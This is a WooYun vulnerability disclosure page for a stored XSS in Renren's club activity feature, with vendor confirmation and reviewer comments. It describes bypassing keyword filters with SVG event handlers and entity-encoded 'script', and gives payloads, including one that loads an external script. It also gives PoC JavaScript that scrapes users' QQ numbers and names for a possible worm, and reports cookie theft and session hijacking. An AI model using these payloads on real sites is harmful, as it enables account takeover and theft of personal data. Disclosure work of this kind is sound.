当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094621

漏洞标题:人人网社团人某功能可导致蠕虫(XSS过滤分析与绕过技巧)

相关厂商:人人网

漏洞作者: g0odnight

提交时间:2015-01-30 11:18

修复时间:2015-03-16 11:20

公开时间:2015-03-16 11:20

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-30: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向核心白帽子及相关领域专家公开
2015-02-19: 细节向普通白帽子公开
2015-03-01: 细节向实习白帽子公开
2015-03-16: 细节向公众公开

简要描述:

==、今年1月初就挖到了...一直没提交,刚刚看了下竟然被补了......好伤心,也没看到有别的白帽子提交....尝试绕过之...具体看下面

详细说明:

话说这里最初只做了前台过滤,抓包改下就可以上传任意长度的脚本了,所以在这里写蠕虫不用考虑跨域问题,不过&符号莫名其妙会被吃掉,不过没太大问题,后来也没提交。今天看了下发现漏洞被补了,不单单前台过滤。后台也进行了关键字检测比如<script>和一些别的关键字。虽然svg没过滤可以进行弹窗,但是不知道为什么以跟上资源链接就处问题,不过最后还是成功触发了。具体看下嘛截图吧,最初的测试我没截多少图,今天的多截几张补上来吧。用的游览器是火狐和chrome。

屏幕快照 2015-01-29 下午6.57.44.png


在填写活动介绍这边过滤不严,前台可以用抓包改包解决,后台的过滤不严密。
下面是第一次测试的时候,后台完全没有过滤,直接可以改包写入<script>xxxxx。

屏幕快照 2015-01-29 下午7.01.45.png


今天看的时候就这样了,后台加入了关键字过滤。

屏幕快照 2015-01-29 下午7.39.52.png


不过对svg没有过滤。但是后面不知道为什么svg/onload后面请求资源链接一直不能成功

屏幕快照 2015-01-29 下午7.19.47.png


屏幕快照 2015-01-29 下午7.03.59.png


就换了一下,顺带外链重新编码。另外重新编码的时候发现对script如果像这样

onerror="JavaScriptCode like <scrip&#116>"

就无法过滤了,应该是对编码后的数据都没有进行检测,只检测没有编码的。

屏幕快照 2015-01-29 下午7.37.27.png


附带几个svg的测试代码

onerror="with(document)body.appendChild(createElement('script')).src='xxxxxxxxx'"


<svg xmlns="url"><g onload="javascript:alert(1)"></g></svg>


我用一个账号是用火狐浏览器发布,然后用另一个账号通过chrome账号去访问,成功获得cookie,且可劫持。

屏幕快照 2015-01-29 下午7.45.46.png


屏幕快照 2015-01-29 下午7.37.01.png


屏幕快照 2015-01-29 下午8.13.52.png


由于社团人可以直接发布到人人主站,同时是专门针对大学生的(多好的鸡),可用作蠕虫。这里附上获取用户信息如电话号码、扣扣之类信息的一小段poc。域内访问m.renren.com然后调用。

function getQQ()
{
var quickExpr =/<div>Q([^<]*)/g;
var headhtml = window.document.head.innerHTML;
var qq=quickExpr.exec(headhtml);
return qq[1];
}
function getname()
{
var quickExpr =/- ([^</tltle]*)/g;
var headhtml = window.document.head.innerHTML;
var name=quickExpr.exec(headhtml);
return name[1];
}


匹配姓名,女神的姓名就打马赛克了。

屏幕快照 2015-01-29 下午8.07.13.png


女神QQ才不给你们

屏幕快照 2015-01-29 下午8.07.39.png


话说很快就删掉了测试用的活动,没有造成啥影响,跪求rank。红圈中显示活动取消。

Screenshot_2015-01-29-20-15-33.png

漏洞证明:

看上面

修复方案:

要过年了诶。后台过滤规则添加详细。话说人人不能用http-only的花为什么主站不采用csp去完整覆盖?

版权声明:转载请注明来源 g0odnight@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-01-30 13:13

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-30 12:25 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    7分

  2. 2015-01-30 14:17 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒,呵呵哒,么蛤蛤~)

    @px1624 9分。没人刷,就不给1分了。

  3. 2015-01-30 15:05 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @g0odnight 哈哈,一般情况人人网都给7分,你可看看历史漏洞

  4. 2015-01-30 15:35 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒,呵呵哒,么蛤蛤~)

    @px1624 恩。我这里7到12分。只要不是短时间内提交大量漏洞,是不会给1分的....还有如果脱裤子和挂蠕虫了也会给一分....

  5. 2015-01-30 16:46 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @g0odnight 啊?人人的rank原来是这么给的?

  6. 2015-01-30 18:13 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒,呵呵哒,么蛤蛤~)

    @疯狗 看历史记录如果一段时间内同一人提交了一系列漏洞,就会出1rank。。。。所以还是路人甲比较好....然后有个人不是测了个蠕虫也被给了1rank么...总的来说,就是:可以测试,但是不要刷系列,不要影响到别的用户(估计会被扣奖金吧)。

  7. 2015-02-02 12:46 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @g0odnight 按照技术细节和影响程度吧

  8. 2015-03-29 09:29 | llkoio ( 路人 | Rank:20 漏洞数:3 | 热爱网络安全!)

    大神们 你们都用的什么xss利用平台